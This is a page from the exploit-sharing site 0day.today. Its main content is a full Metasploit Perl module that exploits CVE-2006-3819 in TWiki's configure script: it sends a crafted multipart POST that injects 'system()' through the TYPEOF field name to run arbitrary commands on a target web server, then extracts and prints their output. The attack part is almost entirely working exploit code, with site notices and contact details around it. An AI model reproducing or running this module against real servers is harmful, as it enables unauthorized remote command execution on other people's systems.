0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)

Author

David Maciejak

Risk

[

Security Risk Unsored

]

0day-ID

Category

Date add

Platform

======================================================================
TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)
======================================================================



##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::twiki_config_typeof;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { 
	'HttpBoundary' => ['Mtb06z', 'HTTP boundary']
};

my $info = {
	'Name'     => 'Twiki Configure script TYPEOF Parameter Remote Command Execution',
	'Version'  => '$Revision: 1.0 $',
	'Authors'  => [ 'David Maciejak <david dot maciejak at gmail dot com>' ],
	'Arch'     => [ ],
	'OS'       => [ ],
	'Priv'     => 1,
	'UserOpts' =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 80],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'DIR'   => [1, 'DATA', 'Directory of Twiki', '/twiki'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Description' => Pex::Text::Freeform(qq{
		This module exploits an arbitrary command execution vulnerability in the
	Twiki configure script. All versions of Twiki prior to 
	4.0.4 hotfix 2 are vulnerable. Patch HotFix04x00x04x02 is available on twiki.org homepage.
}),
	'Refs' =>
	  [
		['BID', '19188'],
		['CVE', '2006-3819'],
		['OSVDB', '27556'],
	  ],

	'Payload' =>
	  {
		'Space' => 128,
		'Keys'  => ['cmd','cmd_bash'],
	  },

	'Keys' => ['twiki'],

	'DisclosureDate' => 'Jul 27 2006',
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self->VHost;
	my $target_port    = $self->GetVar('RPORT');
	my $dir            = $self->GetVar('DIR');
	my $encodedPayload = $self->GetVar('EncodedPayload');
	my $cmd            = $encodedPayload->RawPayload;
	my $boundary		 = $self->GetLocal('HttpBoundary');		

	$cmd=
		"\r\n--".$boundary."\r\n".
		"Content-Disposition: form-data; name=\"action\"\r\n\r\n".
		"update\r\n".
		"--".$boundary.
		"Content-Disposition: form-data; name=\"TYPEOF:{system('$cmd')}\"\r\n\r\n".
		"BOOLEAN\r\n".
		"--".$boundary;

	my $proto="http";
	if ($self->GetVar('SSL'))
	{
		$proto.="s";
	}

	 my $request =
    	"POST ".$dir."/bin/configure HTTP/1.1\r\n".
		"Content-Type: multipart/form-data; boundary=".$boundary."\r\n".
		"User-Agent: Mozilla/4.76 [en] (X11; U; Linux 2.4.31-grsec i686)\r\n".
		"Host: $target_host\r\n".
		"Referer: ".$proto."://".$target_host.$dir."/bin/configure\r\n".
		"Accept: image/gif, image/x-xbitmap, image/jpeg, image/png\r\n".
		"Accept-Language: en\r\n".
		"Content-Length: ". length($cmd). "\r\n\r\n".
		$cmd;

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr' => $target_host,
		'PeerPort' => $target_port,
		'SSL'      => $self->GetVar('SSL'),
	  );

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$s->Send($request);

	my $results = $s->Recv(-1, 200);

	if ($results=~ /^transfer-encoding:[ \t]*chunked\b/im){
		my @extract_result;
		my @results = split ( /\r\n/, $results );

		chomp @results;
		my $fill_extract_result=0;
		my $end_break=0;
		my $i=0;
		while ( !$end_break && ($i < @results)){
			if ($results[$i] =~ /\<div id=\"patternScreen\"\>/)
			{
				$fill_extract_result=0;
				$end_break=1;
			}
			if ($fill_extract_result>0) {
					push(@extract_result,$results[$i]);
			}
			if ($results[$i] =~ /\<body class=\"patternNoViewPage\"\>/)
			{
				$fill_extract_result=1;
			}
			$i++;
		}

		if (@extract_result < 3) {
				$self->PrintLine("[*] Target may be not vulnerable, or you have used ';' char in CMD");	
		}
		else {
			for ($i=1;$i<@extract_result;$i+=2) {
				chomp @extract_result;
				$self->PrintLine("$extract_result[$i]");
			}
		}
	}

	$s->Close();
	return;
}

sub VHost {
	my $self = shift;
	my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST');
	return $name;
}

1;



#  0day.today [2024-11-15]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

TWiki <= 4.0.4 (Configure Script) Remote Code Execution Exploit (meta)

Report Error

Report Error